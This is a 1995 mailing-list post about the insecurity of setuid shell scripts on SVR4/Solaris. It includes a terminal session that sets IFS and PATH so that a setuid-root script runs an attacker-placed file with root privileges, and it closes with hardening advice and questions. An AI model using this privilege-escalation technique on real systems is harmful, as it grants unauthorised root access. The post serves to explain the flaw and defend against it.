On Fri, 10 Feb 1995, David A. Wagner wrote: > > SUID shell scripts are traditionally insecure in unix environments. [...] > > Also from my understanding, at least one Unix has solved this problem > > by making a /dev/fd filesystem, [...] > > > > Using the /dev/fd fs would remove the race condition, but the race > isn't the only problem with setuid shell scripts. > > Unless the shell script writer is *very* careful (is it possible to > be careful enough?), one can play around with PATH or IFS. If the > script calls any non-statically linked executables, I think one can > play around with LD_* variables on Suns. I had a quick play around on a SVR4 system with a /dev/fd filesystem. This is what I found: (this is slightly edited to hide my bad typing.. :-) peter@haywire[5:13pm]/tmp-100> l /tmp/suidsh -rwsr-sr-x 1 root root 38 Feb 11 17:13 /tmp/suidsh peter@haywire[5:13pm]/tmp-101> cat /tmp/suidsh #! /bin/sh -p echo "IFS=$IFS" /bin/id peter@haywire[5:13pm]/tmp-102> /tmp/suidsh IFS= uid=433(peter) gid=304(user) euid=0(root) egid=0(root) OK. It works. the "-p" is a flag to "sh" to make it not surrender it's suid'ness. Normally, it does a setuid(getuid()); on startup if it's setuid. Now, to try and subvert it... peter@haywire[5:13pm]/tmp-103> setenv IFS c peter@haywire[5:14pm]/tmp-104> /tmp/suidsh /dev/fd/3: e: not found uid=433(peter) gid=304(user) euid=0(root) egid=0(root) Whoa! It's trying to run "e" on our path! So lets give it one! peter@haywire[5:14pm]/tmp-105> set path=(/tmp $path) peter@haywire[5:15pm]/tmp-106> l /tmp/e -rwxr-xr-x 1 peter user 47 Feb 11 17:15 /tmp/e peter@haywire[5:16pm]/tmp-112> cat /tmp/e #! /bin/sh -p IFS=" " echo "Security alert!!!!: `/bin/id` peter@haywire[5:16pm]/tmp-114> /tmp/suidsh Security alert!!!!: uid=433(peter) gid=304(user) euid=0(root) egid=0(root) uid=433(peter) gid=304(user) euid=0(root) egid=0(root) And sure enough. It gives away the ball game. It ran /tmp/e with it's superuser euid's. If we make a mod to the /tmp/suidsh script lets see what happens: peter@haywire[5:17pm]/tmp-115> cat /tmp/suidsh #! /bin/sh -p IFS=" " echo "IFS=$IFS" /bin/id peter@haywire[5:17pm]/tmp-116> /tmp/suidsh IFS= uid=433(peter) gid=304(user) euid=0(root) egid=0(root) OK. So that works.. IFS can be reset, but what about setting IFS to disturb the resetting of IFS itself? peter@haywire[5:17pm]/tmp-117> setenv IFS F peter@haywire[5:17pm]/tmp-118> /tmp/suidsh IFS= uid=433(peter) gid=304(user) euid=0(root) egid=0(root) Hmm. Does this actually work? Or was I just lucky? Perhaps it's possible that somebody might have done the right thing and made IFS assignments themselves immune to the previous IFS settings? Hmmmm.. Methinks if you have any suid shell scripts on a SVR4 or Solaris machine, you'd better make sure that you reset IFS on the very first line. Also, the LD_* variables wouldn't hurt too, but they should be OK, as the loader code ignores them if it's currently running suid. The shell should be immune to them, and probably all the processes spawned would be immune to them too, but there might be one that doesn't. Are there any _other_ ways of breaking a setuid shell script on a SVR4/Solaris system that hasn't been carefully written? If the writer has been careful and makes sure all interesting variables have known values, LD_* is reset, PATH is reset, IFS is reset on the first line, is there anything else left? (Oh, I've seen somewhere, that somebody used: "#! /bin/sh -p -" Does anybody know the significance of the "-"?) -Peter